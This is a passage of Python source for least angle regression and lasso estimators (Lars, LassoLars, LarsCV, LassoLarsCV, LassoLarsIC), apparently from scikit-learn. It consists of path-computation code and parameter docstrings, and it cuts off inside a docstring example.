                # XXX: need to figure a 'drop for good' way
                Cov = Cov_not_shortened
                Cov[0] = 0
                Cov[C_idx], Cov[0] = swap(Cov[C_idx], Cov[0])
                continue

            active.append(indices[n_active])
            n_active += 1

            if verbose > 1:
                print("%s\t\t%s\t\t%s\t\t%s\t\t%s" % (n_iter, active[-1], '',
                                                      n_active, C))

        if method == 'lasso' and n_iter > 0 and prev_alpha[0] < alpha[0]:
            # alpha is increasing. This is because the updates of Cov are
            # bringing in too much numerical error that is greater than
            # than the remaining correlation with the
            # regressors. Time to bail out
            warnings.warn('Early stopping the lars path, as the residues '
                          'are small and the current value of alpha is no '
                          'longer well controlled. %i iterations, alpha=%.3e, '
                          'previous alpha=%.3e, with an active set of %i '
                          'regressors.'
                          % (n_iter, alpha, prev_alpha, n_active),
                          ConvergenceWarning)
            break

        # least squares solution
        least_squares, info = solve_cholesky(L[:n_active, :n_active],
                                             sign_active[:n_active],
                                             lower=True)

        if least_squares.size == 1 and least_squares == 0:
            # This happens because sign_active[:n_active] = 0
            least_squares[...] = 1
            AA = 1.
        else:
            # is this really needed ?
            AA = 1. / np.sqrt(np.sum(least_squares * sign_active[:n_active]))

            if not np.isfinite(AA):
                # L is too ill-conditioned
                i = 0
                L_ = L[:n_active, :n_active].copy()
                while not np.isfinite(AA):
                    L_.flat[::n_active + 1] += (2 ** i) * eps
                    least_squares, info = solve_cholesky(
                        L_, sign_active[:n_active], lower=True)
                    tmp = max(np.sum(least_squares * sign_active[:n_active]),
                              eps)
                    AA = 1. / np.sqrt(tmp)
                    i += 1
            least_squares *= AA

        if Gram is None:
            # equiangular direction of variables in the active set
            eq_dir = np.dot(X.T[:n_active].T, least_squares)
            # correlation between each unactive variables and
            # eqiangular vector
            corr_eq_dir = np.dot(X.T[n_active:], eq_dir)
        else:
            # if huge number of features, this takes 50% of time, I
            # think could be avoided if we just update it using an
            # orthogonal (QR) decomposition of X
            corr_eq_dir = np.dot(Gram[:n_active, n_active:].T,
                                 least_squares)

        g1 = arrayfuncs.min_pos((C - Cov) / (AA - corr_eq_dir + tiny))
        if positive:
            gamma_ = min(g1, C / AA)
        else:
            g2 = arrayfuncs.min_pos((C + Cov) / (AA + corr_eq_dir + tiny))
            gamma_ = min(g1, g2, C / AA)

        # TODO: better names for these variables: z
        drop = False
        z = -coef[active] / (least_squares + tiny32)
        z_pos = arrayfuncs.min_pos(z)
        if z_pos < gamma_:
            # some coefficients have changed sign
            idx = np.where(z == z_pos)[0][::-1]

            # update the sign, important for LAR
            sign_active[idx] = -sign_active[idx]

            if method == 'lasso':
                gamma_ = z_pos
            drop = True

        n_iter += 1

        if return_path:
            if n_iter >= coefs.shape[0]:
                del coef, alpha, prev_alpha, prev_coef
                # resize the coefs and alphas array
                add_features = 2 * max(1, (max_features - n_active))
                coefs = np.resize(coefs, (n_iter + add_features, n_features))
                alphas = np.resize(alphas, n_iter + add_features)
            coef = coefs[n_iter]
            prev_coef = coefs[n_iter - 1]
            alpha = alphas[n_iter, np.newaxis]
            prev_alpha = alphas[n_iter - 1, np.newaxis]
        else:
            # mimic the effect of incrementing n_iter on the array references
            prev_coef = coef
            prev_alpha[0] = alpha[0]
            coef = np.zeros_like(coef)

        coef[active] = prev_coef[active] + gamma_ * least_squares

        # update correlations
        Cov -= gamma_ * corr_eq_dir

        # See if any coefficient has changed sign
        if drop and method == 'lasso':

            # handle the case when idx is not length of 1
            [arrayfuncs.cholesky_delete(L[:n_active, :n_active], ii) for ii in
                idx]

            n_active -= 1
            m, n = idx, n_active
            # handle the case when idx is not length of 1
            drop_idx = [active.pop(ii) for ii in idx]

            if Gram is None:
                # propagate dropped variable
                for ii in idx:
                    for i in range(ii, n_active):
                        X.T[i], X.T[i + 1] = swap(X.T[i], X.T[i + 1])
                        # yeah this is stupid
                        indices[i], indices[i + 1] = indices[i + 1], indices[i]

                # TODO: this could be updated
                residual = y - np.dot(X[:, :n_active], coef[active])
                temp = np.dot(X.T[n_active], residual)

                Cov = np.r_[temp, Cov]
            else:
                for ii in idx:
                    for i in range(ii, n_active):
                        indices[i], indices[i + 1] = indices[i + 1], indices[i]
                        Gram[i], Gram[i + 1] = swap(Gram[i], Gram[i + 1])
                        Gram[:, i], Gram[:, i + 1] = swap(Gram[:, i],
                                                          Gram[:, i + 1])

                # Cov_n = Cov_j + x_j * X + increment(betas) TODO:
                # will this still work with multiple drops ?

                # recompute covariance. Probably could be done better
                # wrong as Xy is not swapped with the rest of variables

                # TODO: this could be updated
                residual = y - np.dot(X, coef)
                temp = np.dot(X.T[drop_idx], residual)
                Cov = np.r_[temp, Cov]

            sign_active = np.delete(sign_active, idx)
            sign_active = np.append(sign_active, 0.)  # just to maintain size
            if verbose > 1:
                print("%s\t\t%s\t\t%s\t\t%s\t\t%s" % (n_iter, '', drop_idx,
                                                      n_active, abs(temp)))

    if return_path:
        # resize coefs in case of early stop
        alphas = alphas[:n_iter + 1]
        coefs = coefs[:n_iter + 1]

        if return_n_iter:
            return alphas, active, coefs.T, n_iter
        else:
            return alphas, active, coefs.T
    else:
        if return_n_iter:
            return alpha, active, coef, n_iter
        else:
            return alpha, active, coef


###############################################################################
# Estimator classes

class Lars(LinearModel, RegressorMixin):
    """Least Angle Regression model a.k.a. LAR

    Read more in the :ref:`User Guide <least_angle_regression>`.

    Parameters
    ----------
    n_nonzero_coefs : int, optional
        Target number of non-zero coefficients. Use ``np.inf`` for no limit.

    fit_intercept : boolean
        Whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    positive : boolean (default=False)
        Restrict coefficients to be >= 0. Be aware that you might want to
        remove fit_intercept which is set True by default.

    verbose : boolean or integer, optional
        Sets the verbosity amount

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    eps : float, optional
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems. Unlike the ``tol`` parameter in some iterative
        optimization-based algorithms, this parameter does not control
        the tolerance of the optimization.

    fit_path : boolean
        If True the full path is stored in the ``coef_path_`` attribute.
        If you compute the solution for a large problem or many targets,
        setting ``fit_path`` to ``False`` will lead to a speedup, especially
        with a small alpha.

    Attributes
    ----------
    alphas_ : array, shape (n_alphas + 1,) | list of n_targets such arrays
        Maximum of covariances (in absolute value) at each iteration. \
        ``n_alphas`` is either ``n_nonzero_coefs`` or ``n_features``, \
        whichever is smaller.

    active_ : list, length = n_alphas | list of n_targets such lists
        Indices of active variables at the end of the path.

    coef_path_ : array, shape (n_features, n_alphas + 1) \
        | list of n_targets such arrays
        The varying values of the coefficients along the path. It is not
        present if the ``fit_path`` parameter is ``False``.

    coef_ : array, shape (n_features,) or (n_targets, n_features)
        Parameter vector (w in the formulation formula).

    intercept_ : float | array, shape (n_targets,)
        Independent term in decision function.

    n_iter_ : array-like or int
        The number of iterations taken by lars_path to find the
        grid of alphas for each target.

    Examples
    --------
    >>> from sklearn import linear_model
    >>> clf = linear_model.Lars(n_nonzero_coefs=1)
    >>> clf.fit([[-1, 1], [0, 0], [1, 1]], [-1.1111, 0, -1.1111])
    ... # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    Lars(copy_X=True, eps=..., fit_intercept=True, fit_path=True,
       n_nonzero_coefs=1, normalize=True, positive=False, precompute='auto',
       verbose=False)
    >>> print(clf.coef_) # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    [ 0. -1.11...]

    See also
    --------
    lars_path, LarsCV
    sklearn.decomposition.sparse_encode

    """
    def __init__(self, fit_intercept=True, verbose=False, normalize=True,
                 precompute='auto', n_nonzero_coefs=500,
                 eps=np.finfo(np.float).eps, copy_X=True, fit_path=True,
                 positive=False):
        self.fit_intercept = fit_intercept
        self.verbose = verbose
        self.normalize = normalize
        self.method = 'lar'
        self.precompute = precompute
        self.n_nonzero_coefs = n_nonzero_coefs
        self.positive = positive
        self.eps = eps
        self.copy_X = copy_X
        self.fit_path = fit_path

    def _get_gram(self):
        # precompute if n_samples > n_features
        precompute = self.precompute
        if hasattr(precompute, '__array__'):
            Gram = precompute
        elif precompute == 'auto':
            Gram = 'auto'
        else:
            Gram = None
        return Gram

    def fit(self, X, y, Xy=None):
        """Fit the model using X, y as training data.

        parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array-like, shape (n_samples,) or (n_samples, n_targets)
            Target values.

        Xy : array-like, shape (n_samples,) or (n_samples, n_targets), \
                optional
            Xy = np.dot(X.T, y) that can be precomputed. It is useful
            only when the Gram matrix is precomputed.

        returns
        -------
        self : object
            returns an instance of self.
        """
        X, y = check_X_y(X, y, y_numeric=True, multi_output=True)
        n_features = X.shape[1]

        X, y, X_offset, y_offset, X_scale = self._preprocess_data(X, y,
                                                        self.fit_intercept,
                                                        self.normalize,
                                                        self.copy_X)

        if y.ndim == 1:
            y = y[:, np.newaxis]

        n_targets = y.shape[1]

        alpha = getattr(self, 'alpha', 0.)
        if hasattr(self, 'n_nonzero_coefs'):
            alpha = 0.  # n_nonzero_coefs parametrization takes priority
            max_iter = self.n_nonzero_coefs
        else:
            max_iter = self.max_iter

        precompute = self.precompute
        if not hasattr(precompute, '__array__') and (
                precompute is True or
                (precompute == 'auto' and X.shape[0] > X.shape[1]) or
                (precompute == 'auto' and y.shape[1] > 1)):
            Gram = np.dot(X.T, X)
        else:
            Gram = self._get_gram()

        self.alphas_ = []
        self.n_iter_ = []

        if self.fit_path:
            self.coef_ = []
            self.active_ = []
            self.coef_path_ = []
            for k in xrange(n_targets):
                this_Xy = None if Xy is None else Xy[:, k]
                alphas, active, coef_path, n_iter_ = lars_path(
                    X, y[:, k], Gram=Gram, Xy=this_Xy, copy_X=self.copy_X,
                    copy_Gram=True, alpha_min=alpha, method=self.method,
                    verbose=max(0, self.verbose - 1), max_iter=max_iter,
                    eps=self.eps, return_path=True,
                    return_n_iter=True, positive=self.positive)
                self.alphas_.append(alphas)
                self.active_.append(active)
                self.n_iter_.append(n_iter_)
                self.coef_path_.append(coef_path)
                self.coef_.append(coef_path[:, -1])

            if n_targets == 1:
                self.alphas_, self.active_, self.coef_path_, self.coef_ = [
                    a[0] for a in (self.alphas_, self.active_, self.coef_path_,
                                   self.coef_)]
                self.n_iter_ = self.n_iter_[0]
        else:
            self.coef_ = np.empty((n_targets, n_features))
            for k in xrange(n_targets):
                this_Xy = None if Xy is None else Xy[:, k]
                alphas, _, self.coef_[k], n_iter_ = lars_path(
                    X, y[:, k], Gram=Gram, Xy=this_Xy, copy_X=self.copy_X,
                    copy_Gram=True, alpha_min=alpha, method=self.method,
                    verbose=max(0, self.verbose - 1), max_iter=max_iter,
                    eps=self.eps, return_path=False, return_n_iter=True,
                    positive=self.positive)
                self.alphas_.append(alphas)
                self.n_iter_.append(n_iter_)
            if n_targets == 1:
                self.alphas_ = self.alphas_[0]
                self.n_iter_ = self.n_iter_[0]
        self._set_intercept(X_offset, y_offset, X_scale)
        return self


class LassoLars(Lars):
    """Lasso model fit with Least Angle Regression a.k.a. Lars

    It is a Linear Model trained with an L1 prior as regularizer.

    The optimization objective for Lasso is::

    (1 / (2 * n_samples)) * ||y - Xw||^2_2 + alpha * ||w||_1

    Read more in the :ref:`User Guide <least_angle_regression>`.

    Parameters
    ----------
    alpha : float
        Constant that multiplies the penalty term. Defaults to 1.0.
        ``alpha = 0`` is equivalent to an ordinary least square, solved
        by :class:`LinearRegression`. For numerical reasons, using
        ``alpha = 0`` with the LassoLars object is not advised and you
        should prefer the LinearRegression object.

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    positive : boolean (default=False)
        Restrict coefficients to be >= 0. Be aware that you might want to
        remove fit_intercept which is set True by default.
        Under the positive restriction the model coefficients will not converge
        to the ordinary-least-squares solution for small values of alpha.
        Only coefficients up to the smallest alpha value (``alphas_[alphas_ >
        0.].min()`` when fit_path=True) reached by the stepwise Lars-Lasso
        algorithm are typically in congruence with the solution of the
        coordinate descent Lasso estimator.

    verbose : boolean or integer, optional
        Sets the verbosity amount

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    copy_X : boolean, optional, default True
        If True, X will be copied; else, it may be overwritten.

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    max_iter : integer, optional
        Maximum number of iterations to perform.

    eps : float, optional
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems. Unlike the ``tol`` parameter in some iterative
        optimization-based algorithms, this parameter does not control
        the tolerance of the optimization.

    fit_path : boolean
        If ``True`` the full path is stored in the ``coef_path_`` attribute.
        If you compute the solution for a large problem or many targets,
        setting ``fit_path`` to ``False`` will lead to a speedup, especially
        with a small alpha.

    Attributes
    ----------
    alphas_ : array, shape (n_alphas + 1,) | list of n_targets such arrays
        Maximum of covariances (in absolute value) at each iteration. \
        ``n_alphas`` is either ``max_iter``, ``n_features``, or the number of \
        nodes in the path with correlation greater than ``alpha``, whichever \
        is smaller.

    active_ : list, length = n_alphas | list of n_targets such lists
        Indices of active variables at the end of the path.

    coef_path_ : array, shape (n_features, n_alphas + 1) or list
        If a list is passed it's expected to be one of n_targets such arrays.
        The varying values of the coefficients along the path. It is not
        present if the ``fit_path`` parameter is ``False``.

    coef_ : array, shape (n_features,) or (n_targets, n_features)
        Parameter vector (w in the formulation formula).

    intercept_ : float | array, shape (n_targets,)
        Independent term in decision function.

    n_iter_ : array-like or int.
        The number of iterations taken by lars_path to find the
        grid of alphas for each target.

    Examples
    --------
    >>> from sklearn import linear_model
    >>> clf = linear_model.LassoLars(alpha=0.01)
    >>> clf.fit([[-1, 1], [0, 0], [1, 1]], [-1, 0, -1])
    ... # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    LassoLars(alpha=0.01, copy_X=True, eps=..., fit_intercept=True,
         fit_path=True, max_iter=500, normalize=True, positive=False,
         precompute='auto', verbose=False)
    >>> print(clf.coef_) # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE
    [ 0.         -0.963257...]

    See also
    --------
    lars_path
    lasso_path
    Lasso
    LassoCV
    LassoLarsCV
    sklearn.decomposition.sparse_encode

    """

    def __init__(self, alpha=1.0, fit_intercept=True, verbose=False,
                 normalize=True, precompute='auto', max_iter=500,
                 eps=np.finfo(np.float).eps, copy_X=True, fit_path=True,
                 positive=False):
        self.alpha = alpha
        self.fit_intercept = fit_intercept
        self.max_iter = max_iter
        self.verbose = verbose
        self.normalize = normalize
        self.method = 'lasso'
        self.positive = positive
        self.precompute = precompute
        self.copy_X = copy_X
        self.eps = eps
        self.fit_path = fit_path


###############################################################################
# Cross-validated estimator classes

def _check_copy_and_writeable(array, copy=False):
    if copy or not array.flags.writeable:
        return array.copy()
    return array


def _lars_path_residues(X_train, y_train, X_test, y_test, Gram=None,
                        copy=True, method='lars', verbose=False,
                        fit_intercept=True, normalize=True, max_iter=500,
                        eps=np.finfo(np.float).eps, positive=False):
    """Compute the residues on left-out data for a full LARS path

    Parameters
    -----------
    X_train : array, shape (n_samples, n_features)
        The data to fit the LARS on

    y_train : array, shape (n_samples)
        The target variable to fit LARS on

    X_test : array, shape (n_samples, n_features)
        The data to compute the residues on

    y_test : array, shape (n_samples)
        The target variable to compute the residues on

    Gram : None, 'auto', array, shape: (n_features, n_features), optional
        Precomputed Gram matrix (X' * X), if ``'auto'``, the Gram
        matrix is precomputed from the given X, if there are more samples
        than features

    copy : boolean, optional
        Whether X_train, X_test, y_train and y_test should be copied;
        if False, they may be overwritten.

    method : 'lar' | 'lasso'
        Specifies the returned model. Select ``'lar'`` for Least Angle
        Regression, ``'lasso'`` for the Lasso.

    verbose : integer, optional
        Sets the amount of verbosity

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    positive : boolean (default=False)
        Restrict coefficients to be >= 0. Be aware that you might want to
        remove fit_intercept which is set True by default.
        See reservations for using this option in combination with method
        'lasso' for expected small values of alpha in the doc of LassoLarsCV
        and LassoLarsIC.

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    max_iter : integer, optional
        Maximum number of iterations to perform.

    eps : float, optional
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems. Unlike the ``tol`` parameter in some iterative
        optimization-based algorithms, this parameter does not control
        the tolerance of the optimization.


    Returns
    --------
    alphas : array, shape (n_alphas,)
        Maximum of covariances (in absolute value) at each iteration.
        ``n_alphas`` is either ``max_iter`` or ``n_features``, whichever
        is smaller.

    active : list
        Indices of active variables at the end of the path.

    coefs : array, shape (n_features, n_alphas)
        Coefficients along the path

    residues : array, shape (n_alphas, n_samples)
        Residues of the prediction on the test data
    """
    X_train = _check_copy_and_writeable(X_train, copy)
    y_train = _check_copy_and_writeable(y_train, copy)
    X_test = _check_copy_and_writeable(X_test, copy)
    y_test = _check_copy_and_writeable(y_test, copy)

    if fit_intercept:
        X_mean = X_train.mean(axis=0)
        X_train -= X_mean
        X_test -= X_mean
        y_mean = y_train.mean(axis=0)
        y_train = as_float_array(y_train, copy=False)
        y_train -= y_mean
        y_test = as_float_array(y_test, copy=False)
        y_test -= y_mean

    if normalize:
        norms = np.sqrt(np.sum(X_train ** 2, axis=0))
        nonzeros = np.flatnonzero(norms)
        X_train[:, nonzeros] /= norms[nonzeros]

    alphas, active, coefs = lars_path(
        X_train, y_train, Gram=Gram, copy_X=False, copy_Gram=False,
        method=method, verbose=max(0, verbose - 1), max_iter=max_iter, eps=eps,
        positive=positive)
    if normalize:
        coefs[nonzeros] /= norms[nonzeros][:, np.newaxis]
    residues = np.dot(X_test, coefs) - y_test[:, np.newaxis]
    return alphas, active, coefs, residues.T


class LarsCV(Lars):
    """Cross-validated Least Angle Regression model

    Read more in the :ref:`User Guide <least_angle_regression>`.

    Parameters
    ----------
    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    positive : boolean (default=False)
        Restrict coefficients to be >= 0. Be aware that you might want to
        remove fit_intercept which is set True by default.

    verbose : boolean or integer, optional
        Sets the verbosity amount

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    max_iter: integer, optional
        Maximum number of iterations to perform.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    max_n_alphas : integer, optional
        The maximum number of points on the path used to compute the
        residuals in the cross-validation

    n_jobs : integer, optional
        Number of CPUs to use during the cross validation. If ``-1``, use
        all the CPUs

    eps : float, optional
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems.


    Attributes
    ----------
    coef_ : array, shape (n_features,)
        parameter vector (w in the formulation formula)

    intercept_ : float
        independent term in decision function

    coef_path_ : array, shape (n_features, n_alphas)
        the varying values of the coefficients along the path

    alpha_ : float
        the estimated regularization parameter alpha

    alphas_ : array, shape (n_alphas,)
        the different values of alpha along the path

    cv_alphas_ : array, shape (n_cv_alphas,)
        all the values of alpha along the path for the different folds

    cv_mse_path_ : array, shape (n_folds, n_cv_alphas)
        the mean square error on left-out for each fold along the path
        (alpha values given by ``cv_alphas``)

    n_iter_ : array-like or int
        the number of iterations run by Lars with the optimal alpha.

    See also
    --------
    lars_path, LassoLars, LassoLarsCV
    """

    method = 'lar'

    def __init__(self, fit_intercept=True, verbose=False, max_iter=500,
                 normalize=True, precompute='auto', cv=None,
                 max_n_alphas=1000, n_jobs=1, eps=np.finfo(np.float).eps,
                 copy_X=True, positive=False):
        self.fit_intercept = fit_intercept
        self.positive = positive
        self.max_iter = max_iter
        self.verbose = verbose
        self.normalize = normalize
        self.precompute = precompute
        self.copy_X = copy_X
        self.cv = cv
        self.max_n_alphas = max_n_alphas
        self.n_jobs = n_jobs
        self.eps = eps

    def fit(self, X, y):
        """Fit the model using X, y as training data.

        Parameters
        ----------
        X : array-like, shape (n_samples, n_features)
            Training data.

        y : array-like, shape (n_samples,)
            Target values.

        Returns
        -------
        self : object
            returns an instance of self.
        """
        self.fit_path = True
        X, y = check_X_y(X, y, y_numeric=True)
        X = as_float_array(X, copy=self.copy_X)
        y = as_float_array(y, copy=self.copy_X)

        # init cross-validation generator
        cv = check_cv(self.cv, classifier=False)

        Gram = 'auto' if self.precompute else None

        cv_paths = Parallel(n_jobs=self.n_jobs, verbose=self.verbose)(
            delayed(_lars_path_residues)(
                X[train], y[train], X[test], y[test], Gram=Gram, copy=False,
                method=self.method, verbose=max(0, self.verbose - 1),
                normalize=self.normalize, fit_intercept=self.fit_intercept,
                max_iter=self.max_iter, eps=self.eps, positive=self.positive)
            for train, test in cv.split(X, y))
        all_alphas = np.concatenate(list(zip(*cv_paths))[0])
        # Unique also sorts
        all_alphas = np.unique(all_alphas)
        # Take at most max_n_alphas values
        stride = int(max(1, int(len(all_alphas) / float(self.max_n_alphas))))
        all_alphas = all_alphas[::stride]

        mse_path = np.empty((len(all_alphas), len(cv_paths)))
        for index, (alphas, active, coefs, residues) in enumerate(cv_paths):
            alphas = alphas[::-1]
            residues = residues[::-1]
            if alphas[0] != 0:
                alphas = np.r_[0, alphas]
                residues = np.r_[residues[0, np.newaxis], residues]
            if alphas[-1] != all_alphas[-1]:
                alphas = np.r_[alphas, all_alphas[-1]]
                residues = np.r_[residues, residues[-1, np.newaxis]]
            this_residues = interpolate.interp1d(alphas,
                                                 residues,
                                                 axis=0)(all_alphas)
            this_residues **= 2
            mse_path[:, index] = np.mean(this_residues, axis=-1)

        mask = np.all(np.isfinite(mse_path), axis=-1)
        all_alphas = all_alphas[mask]
        mse_path = mse_path[mask]
        # Select the alpha that minimizes left-out error
        i_best_alpha = np.argmin(mse_path.mean(axis=-1))
        best_alpha = all_alphas[i_best_alpha]

        # Store our parameters
        self.alpha_ = best_alpha
        self.cv_alphas_ = all_alphas
        self.cv_mse_path_ = mse_path

        # Now compute the full model
        # it will call a lasso internally when self if LassoLarsCV
        # as self.method == 'lasso'
        Lars.fit(self, X, y)
        return self

    @property
    def alpha(self):
        # impedance matching for the above Lars.fit (should not be documented)
        return self.alpha_


class LassoLarsCV(LarsCV):
    """Cross-validated Lasso, using the LARS algorithm

    The optimization objective for Lasso is::

    (1 / (2 * n_samples)) * ||y - Xw||^2_2 + alpha * ||w||_1

    Read more in the :ref:`User Guide <least_angle_regression>`.

    Parameters
    ----------
    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    positive : boolean (default=False)
        Restrict coefficients to be >= 0. Be aware that you might want to
        remove fit_intercept which is set True by default.
        Under the positive restriction the model coefficients do not converge
        to the ordinary-least-squares solution for small values of alpha.
        Only coefficients up to the smallest alpha value (``alphas_[alphas_ >
        0.].min()`` when fit_path=True) reached by the stepwise Lars-Lasso
        algorithm are typically in congruence with the solution of the
        coordinate descent Lasso estimator.
        As a consequence using LassoLarsCV only makes sense for problems where
        a sparse solution is expected and/or reached.

    verbose : boolean or integer, optional
        Sets the verbosity amount

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    max_iter : integer, optional
        Maximum number of iterations to perform.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    max_n_alphas : integer, optional
        The maximum number of points on the path used to compute the
        residuals in the cross-validation

    n_jobs : integer, optional
        Number of CPUs to use during the cross validation. If ``-1``, use
        all the CPUs

    eps : float, optional
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems.

    copy_X : boolean, optional, default True
        If True, X will be copied; else, it may be overwritten.

    Attributes
    ----------
    coef_ : array, shape (n_features,)
        parameter vector (w in the formulation formula)

    intercept_ : float
        independent term in decision function.

    coef_path_ : array, shape (n_features, n_alphas)
        the varying values of the coefficients along the path

    alpha_ : float
        the estimated regularization parameter alpha

    alphas_ : array, shape (n_alphas,)
        the different values of alpha along the path

    cv_alphas_ : array, shape (n_cv_alphas,)
        all the values of alpha along the path for the different folds

    cv_mse_path_ : array, shape (n_folds, n_cv_alphas)
        the mean square error on left-out for each fold along the path
        (alpha values given by ``cv_alphas``)

    n_iter_ : array-like or int
        the number of iterations run by Lars with the optimal alpha.

    Notes
    -----

    The object solves the same problem as the LassoCV object. However,
    unlike the LassoCV, it find the relevant alphas values by itself.
    In general, because of this property, it will be more stable.
    However, it is more fragile to heavily multicollinear datasets.

    It is more efficient than the LassoCV if only a small number of
    features are selected compared to the total number, for instance if
    there are very few samples compared to the number of features.

    See also
    --------
    lars_path, LassoLars, LarsCV, LassoCV
    """

    method = 'lasso'


class LassoLarsIC(LassoLars):
    """Lasso model fit with Lars using BIC or AIC for model selection

    The optimization objective for Lasso is::

    (1 / (2 * n_samples)) * ||y - Xw||^2_2 + alpha * ||w||_1

    AIC is the Akaike information criterion and BIC is the Bayes
    Information criterion. Such criteria are useful to select the value
    of the regularization parameter by making a trade-off between the
    goodness of fit and the complexity of the model. A good model should
    explain well the data while being simple.

    Read more in the :ref:`User Guide <least_angle_regression>`.

    Parameters
    ----------
    criterion : 'bic' | 'aic'
        The type of criterion to use.

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    positive : boolean (default=False)
        Restrict coefficients to be >= 0. Be aware that you might want to
        remove fit_intercept which is set True by default.
        Under the positive restriction the model coefficients do not converge
        to the ordinary-least-squares solution for small values of alpha.
        Only coefficients up to the smallest alpha value (``alphas_[alphas_ >
        0.].min()`` when fit_path=True) reached by the stepwise Lars-Lasso
        algorithm are typically in congruence with the solution of the
        coordinate descent Lasso estimator.
        As a consequence using LassoLarsIC only makes sense for problems where
        a sparse solution is expected and/or reached.

    verbose : boolean or integer, optional
        Sets the verbosity amount

    normalize : boolean, optional, default False
        If True, the regressors X will be normalized before regression.
        This parameter is ignored when `fit_intercept` is set to False.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        `preprocessing.StandardScaler` before calling `fit` on an estimator
        with `normalize=False`.

    copy_X : boolean, optional, default True
        If True, X will be copied; else, it may be overwritten.

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    max_iter : integer, optional
        Maximum number of iterations to perform. Can be used for
        early stopping.

    eps : float, optional
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems. Unlike the ``tol`` parameter in some iterative
        optimization-based algorithms, this parameter does not control
        the tolerance of the optimization.


    Attributes
    ----------
    coef_ : array, shape (n_features,)
        parameter vector (w in the formulation formula)

    intercept_ : float
        independent term in decision function.

    alpha_ : float
        the alpha parameter chosen by the information criterion

    n_iter_ : int
        number of iterations run by lars_path to find the grid of
        alphas.

    criterion_ : array, shape (n_alphas,)
        The value of the information criteria ('aic', 'bic') across all
        alphas. The alpha which has the smallest information criteria
        is chosen.

    Examples
    --------
    >>> from sklearn import linear_model
